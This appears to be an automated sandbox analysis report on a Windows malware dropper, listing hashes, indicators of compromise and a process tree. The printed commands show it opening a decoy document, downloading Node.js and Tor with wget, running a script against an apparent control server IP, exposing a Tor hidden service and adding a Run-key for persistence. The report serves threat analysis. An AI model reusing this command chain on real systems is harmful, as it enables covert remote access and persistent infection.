268953af63bad4895dd06c024fd1ec2af2c134623a0e100e26894e4d6bab741e

Analysis

max time kernel
89s
max time network
156s
platform
windows7_x64
resource
win7
submitted
13/08/2020, 10:03

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe
Size 645KB
Sample200813-8w2d72582j
SHA256 268953af63bad4895dd06c024fd1ec2af2c134623a0e100e26894e4d6bab741e
MD5 d99b5066d8cd0f042c6b1aa18855c4f0
SHA1 c19b68e4b1cb251db194e3c0b922e027f9040be3
SHA512 532e35d9c6ce7171ef7035267bd1032e8de1aaacc332476bf043ce075b13b39540469a34ce08964dd411338e60079683db470acf3a9b1c80e2a21b691a738a6a
MD5 SHA1 SHA512

Score

8^/10

persistence

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
1484	wget.exe
2004	wget.exe
1864	7za.exe
1920	node.exe
1420	node.exe
1320	tor.exe

Loads dropped DLL 15 IoCs

pid	Process
1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe
1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe
1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe
1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe
1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe
1580	cmd.exe
1420	node.exe
1420	node.exe
1320	tor.exe
1320	tor.exe
1320	tor.exe
1320	tor.exe
1320	tor.exe
1320	tor.exe
1320	tor.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\Update = "\"C:\\Users\\Admin\\AppData\\Roaming\\TN\\node\" \"C:\\Users\\Admin\\AppData\\Roaming\\TN\\service\""	reg.exe

JavaScript code in executable 13 IoCs

resource	yara_rule
behavioral1/files/0x00030000000131d1-452.dat	js
behavioral1/files/0x00030000000131d1-453.dat	js
behavioral1/files/0x00030000000131d1-455.dat	js
behavioral1/files/0x00050000000131c7-502.dat	js
behavioral1/files/0x00030000000131d1-504.dat	js
behavioral1/files/0x00030000000131fc-605.dat	js
behavioral1/files/0x00030000000131fc-606.dat	js
behavioral1/files/0x00030000000131fc-607.dat	js
behavioral1/files/0x00030000000131fc-609.dat	js
behavioral1/files/0x00030000000131d9-610.dat	js
behavioral1/files/0x00030000000131d9-611.dat	js
behavioral1/files/0x00030000000131d8-618.dat	js
behavioral1/files/0x00030000000131d8-619.dat	js

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1972	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1484	wget.exe
2004	wget.exe
1920	node.exe
1420	node.exe

Suspicious use of SetWindowsHookEx 16 IoCs

pid	Process
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE
1972	WINWORD.EXE

Suspicious use of WriteProcessMemory 52 IoCs

description	pid	Process	procid_target
PID 1080 wrote to memory of 1340	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	24
PID 1080 wrote to memory of 1340	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	24
PID 1080 wrote to memory of 1340	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	24
PID 1080 wrote to memory of 1340	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	24
PID 1080 wrote to memory of 1484	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	26
PID 1080 wrote to memory of 1484	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	26
PID 1080 wrote to memory of 1484	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	26
PID 1080 wrote to memory of 1484	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	26
PID 1340 wrote to memory of 1972	1340	cmd.exe	28
PID 1340 wrote to memory of 1972	1340	cmd.exe	28
PID 1340 wrote to memory of 1972	1340	cmd.exe	28
PID 1340 wrote to memory of 1972	1340	cmd.exe	28
PID 1080 wrote to memory of 2004	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	29
PID 1080 wrote to memory of 2004	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	29
PID 1080 wrote to memory of 2004	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	29
PID 1080 wrote to memory of 2004	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	29
PID 1080 wrote to memory of 1864	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	31
PID 1080 wrote to memory of 1864	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	31
PID 1080 wrote to memory of 1864	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	31
PID 1080 wrote to memory of 1864	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	31
PID 1080 wrote to memory of 1580	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	33
PID 1080 wrote to memory of 1580	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	33
PID 1080 wrote to memory of 1580	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	33
PID 1080 wrote to memory of 1580	1080	Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe	33
PID 1580 wrote to memory of 1920	1580	cmd.exe	35
PID 1580 wrote to memory of 1920	1580	cmd.exe	35
PID 1580 wrote to memory of 1920	1580	cmd.exe	35
PID 1580 wrote to memory of 1920	1580	cmd.exe	35
PID 1920 wrote to memory of 1420	1920	node.exe	36
PID 1920 wrote to memory of 1420	1920	node.exe	36
PID 1920 wrote to memory of 1420	1920	node.exe	36
PID 1920 wrote to memory of 1420	1920	node.exe	36
PID 1420 wrote to memory of 1320	1420	node.exe	37
PID 1420 wrote to memory of 1320	1420	node.exe	37
PID 1420 wrote to memory of 1320	1420	node.exe	37
PID 1420 wrote to memory of 1320	1420	node.exe	37
PID 1420 wrote to memory of 1632	1420	node.exe	40
PID 1420 wrote to memory of 1632	1420	node.exe	40
PID 1420 wrote to memory of 1632	1420	node.exe	40
PID 1420 wrote to memory of 1632	1420	node.exe	40
PID 1632 wrote to memory of 2032	1632	cmd.exe	42
PID 1632 wrote to memory of 2032	1632	cmd.exe	42
PID 1632 wrote to memory of 2032	1632	cmd.exe	42
PID 1632 wrote to memory of 2032	1632	cmd.exe	42
PID 1420 wrote to memory of 1644	1420	node.exe	43
PID 1420 wrote to memory of 1644	1420	node.exe	43
PID 1420 wrote to memory of 1644	1420	node.exe	43
PID 1420 wrote to memory of 1644	1420	node.exe	43
PID 1644 wrote to memory of 1656	1644	cmd.exe	45
PID 1644 wrote to memory of 1656	1644	cmd.exe	45
PID 1644 wrote to memory of 1656	1644	cmd.exe	45
PID 1644 wrote to memory of 1656	1644	cmd.exe	45

C:\Users\Admin\AppData\Local\Temp\Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe
"C:\Users\Admin\AppData\Local\Temp\Ç¬Γ ßóÑα¬¿ óºá¿¼«αáßτÑΓ«ó ö¿¡Çπñ¿ΓæÑαó¿ß «Γ 07.08.2020_üπσ.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1080
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c document.doc
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\TN\document.doc"
    3⤵
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious use of SetWindowsHookEx
    PID:1972
- C:\Users\Admin\AppData\Roaming\TN\wget.exe
  "C:\Users\Admin\AppData\Roaming\TN\wget.exe" --no-check-certificate https://nodejs.org/dist/latest-carbon/win-x86/node.exe
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:1484
- C:\Users\Admin\AppData\Roaming\TN\wget.exe
  "C:\Users\Admin\AppData\Roaming\TN\wget.exe" --no-check-certificate https://www.torproject.org/dist/torbrowser/9.5.1/tor-win32-0.4.3.5.zip
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:2004
- C:\Users\Admin\AppData\Roaming\TN\7za.exe
  "C:\Users\Admin\AppData\Roaming\TN\7za.exe" e -y tor-win32-0.4.3.5.zip
  2⤵
  - Executes dropped EXE
  PID:1864
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c if not exist hostname (node service 192.248.165.254)
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1580
- - C:\Users\Admin\AppData\Roaming\TN\node.exe
    node service 192.248.165.254
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Users\Admin\AppData\Roaming\TN\node.exe
      C:\Users\Admin\AppData\Roaming\TN\node.exe C:\Users\Admin\AppData\Roaming\TN\service 192.248.165.254 ""
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:1420
    - - C:\Users\Admin\AppData\Roaming\TN\tor.exe
        
        tor SocksPort 0 DataDirectory . HiddenServiceDir . HiddenServicePort "80 127.0.0.1:50671"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1320
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /f /d "\"C:\Users\Admin\AppData\Roaming\TN\node\" \"C:\Users\Admin\AppData\Roaming\TN\service\""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1632
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /f /d "\"C:\Users\Admin\AppData\Roaming\TN\node\" \"C:\Users\Admin\AppData\Roaming\TN\service\"
        6⤵
        Adds Run key to start application
        
        PID:2032
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update""
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1644
      - C:\Windows\SysWOW64\reg.exe
        
        reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update"
        6⤵
        
        PID:1656

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1320-624-0x0000000073BF0000-0x0000000073C74000-memory.dmp

Download

memory/1420-506-0x0000000004160000-0x0000000004171000-memory.dmp

Download

memory/1420-508-0x0000000004160000-0x0000000004171000-memory.dmp

Download

memory/1420-507-0x0000000004570000-0x0000000004581000-memory.dmp

Download

memory/1484-5-0x0000000002310000-0x0000000002321000-memory.dmp

Download

memory/1484-6-0x0000000002720000-0x0000000002731000-memory.dmp

Download

memory/1484-7-0x0000000002310000-0x0000000002321000-memory.dmp

Download

memory/1920-458-0x0000000003F60000-0x0000000003F71000-memory.dmp

Download

memory/1920-457-0x0000000004370000-0x0000000004381000-memory.dmp

Download

memory/1920-456-0x0000000003F60000-0x0000000003F71000-memory.dmp

Download

memory/2004-228-0x0000000002460000-0x0000000002471000-memory.dmp

Download

memory/2004-229-0x0000000002870000-0x0000000002881000-memory.dmp

Download

memory/2004-230-0x0000000002460000-0x0000000002471000-memory.dmp

Download